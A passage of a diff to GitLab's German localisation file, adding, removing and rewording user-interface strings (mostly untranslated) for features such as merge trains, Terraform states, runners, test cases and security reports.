msgstr "Du bist dabei, deinen Benutzernamen von %{currentUsernameBold} in %{newUsernameBold} zu ändern. Profile und Projekte werden auf den neuen %{newUsername}-Namensraum umgeleitet, aber diese Umleitung wird auslaufen, sobald der %{currentUsername}-Namensraum von einem anderen Benutzer oder einer anderen Gruppe registriert wird. Bitte aktualisiere deine Git-Repository-Remotes so bald wie möglich."
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr "Avatar wird entfernt. Bist du sicher?"
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr "Benutzernamen ändern"
@@ -20691,9 +21181,6 @@ msgstr "Projektavatar"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr "Hochstufen zum Gruppenlabel"
@@ -21837,6 +22339,9 @@ msgstr "Push-Ereignisse"
msgid "Push project from command line"
msgstr "Pushe das Projekt von der Kommandozeile aus"
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr "Pushe um ein Projekt zu erstellen"
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr "Zu SAML-Provider umleiten um Konfiguration zu testen"
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr "Projekt-Sichtbarkeit verringern"
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr "Releases"
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr "Später erinnern"
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr "Wieder öffnen"
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr "Epic erneut öffnen"
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr "Statusbericht"
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr "Ausführungszeit"
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr "Fehlschlag"
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr "Repository"
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr "Repository-Speicher"
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr "Zugriffstoken für den Health-Check zurücksetzen"
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr "Wiederholen"
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr "Wiederhole diese Aufgabe"
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr "Überprüfe den Prozess zum Konfigurieren von Dienstanbietern bei deinem Identitätsanbieter. In diesem Fall ist GitLab der \"Dienstanbieter\" oder die \"vertrauende Seite\"."
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr "Überprüfung"
@@ -23048,6 +23587,9 @@ msgstr "Unmarkierte Jobs ausführen"
msgid "Runner cannot be assigned to other projects"
msgstr "Runner kann keinem anderen Projekt zugewiesen werden"
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr "Runner führt Jobs von allen nicht zugewiesenen Projekten aus"
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr "Anwendung speichern"
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr "Zeitplan der Pipeline speichern"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr "Nach unten scrollen"
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr "Nach links scrollen"
@@ -23441,6 +23962,9 @@ msgstr "Projekte suchen"
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr "Wähle ein Projekt aus, um die Zone auszuwählen"
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr "Wähle die Projekte aus, die du importieren möchtest."
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr "Richte dein Projekt so ein, dass Änderungen automatisch an ein anderes Repository gesendet bzw. von diesem abgerufen werden. Branches, Tags und Commits werden automatisch synchronisiert."
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "ein Passwort festlegst"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr "Statusemoji hinzufügen"
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr "Status löschen"
@@ -24455,6 +24988,9 @@ msgstr "Status setzen"
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr "Leider konnten wir deinen Status nicht festlegen. Bitte versuche es später erneut."
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr "Wie ist dein Status?"
@@ -24551,9 +25087,6 @@ msgstr "Sherlock-Transaktionen"
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr "Neuste Version zeigen"
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] "Zeige %d Ereignis"
msgstr[1] "Zeige %d Ereignisse"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "Registrierungsbeschränkungen"
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr "Slack-Anwendung"
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,8 +25493,8 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
-msgstr "Beim Schließen des %{issuable} ist etwas schief gelaufen. Bitte versuche es später erneut"
+msgid "Something went wrong while closing the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while creating a requirement."
msgstr ""
@@ -25032,11 +25574,14 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
-msgstr "Etwas ist beim Wiedereröffnen von %{issuable} fehlgeschlagen. Versuche es später nochmal"
+msgid "Something went wrong while reopening the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
msgstr "Etwas ist beim Auflösen der Diskussion fehlgeschlagen. Versuche es später nochmal."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr "Gib ein Regex-Muster für E-Mail-Adressen an, um interne Standardbenutze
msgid "Specify the following URL during the Runner setup:"
msgstr "Gib die folgende URL während des Runner-Setups an:"
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr "Erfolgreich"
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr "Telefonnummer (optional)"
-
msgid "Template"
msgstr "Vorlage"
@@ -26232,6 +26798,9 @@ msgstr "Nutzungsbedingungen und Datenschutzerklärung"
msgid "Terms of Service and Privacy Policy"
msgstr "Nutzungsbedingungen und Datenschutzerklärung"
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr "Test"
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr "Das Ticketsystem ist der Ort, um Dinge hinzuzufügen, die in einem Proje
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,12 +27046,12 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Das zu verwendende X.509-Zertifikat, wenn über MTLS mit dem externen Autorisierungsdienst kommunizieren muss. Wenn dieses Feld leer gelassen wird, wird das Serverzertifikat beim Zugriff über HTTPS weiterhin überprüft."
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
-msgstr ""
-
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
msgstr ""
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr "Die Beziehung des Forks wurde entfernt."
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "Die Ticketphase stellt die Zeit vom Anlegen eines Tickets bis zum Zuweisen zu einem Meilenstein oder dem Hinzufügen zu deinem Ticket-Board dar. Erstelle einen Ticket, damit dessen Daten hier erscheinen."
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr "Die Staging-Phase stellt die Zeit zwischen dem Mergen des Merge-Requests
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "Die Testphase stellt die Zeit dar, die GitLab CI benötigt um die Pipelines von zugehörigen Merge-Requests abzuarbeiten. Sobald die erste Pipeline abgeschlossen ist, werden deren Daten hier automatisch angezeigt."
@@ -26773,7 +27387,7 @@ msgstr "Die Zeit, die jede Dateneingabe in dieser Phase benötigt."
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr "Die Aktualisierungsaktion wird nach %{number_of_minutes} Minuten abgebrochen. Verwende für große Repositories eine Clone / Push-Kombination."
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr "Die Benutzerzuordnung legt fest, wie die E-Mail-Adressen und Benutzernamen der FogBuz-Benutzer(innen), die an deinem Projekt teilnehmen, in GitLab importiert werden. Du kannst dies ändern, indem du die Tabelle unten ausfüllst."
@@ -26803,6 +27414,9 @@ msgstr "Der mittlere aller erfassten Werte. Zum Beispiel ist für 3, 5, 9 der Me
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr "Es gibt noch keine geteilten Projekte mit dieser Gruppe"
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Dieser Merge-Request ist gesperrt."
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr "Diese Seite ist nicht verfügbar, da du nicht Informationen über mehrer
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr "Zeitüberschreitung"
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "Std."
@@ -27914,6 +28531,9 @@ msgstr "Sek."
msgid "Tip:"
msgstr "Tipp:"
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr "Titel"
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr "Zu viele Namespaces aktiviert. Sie müssen sie über die Konsole oder di
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "Zu viele Projekte aktviert. Sie müssen sie über die Konsole oder die API verwalten."
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
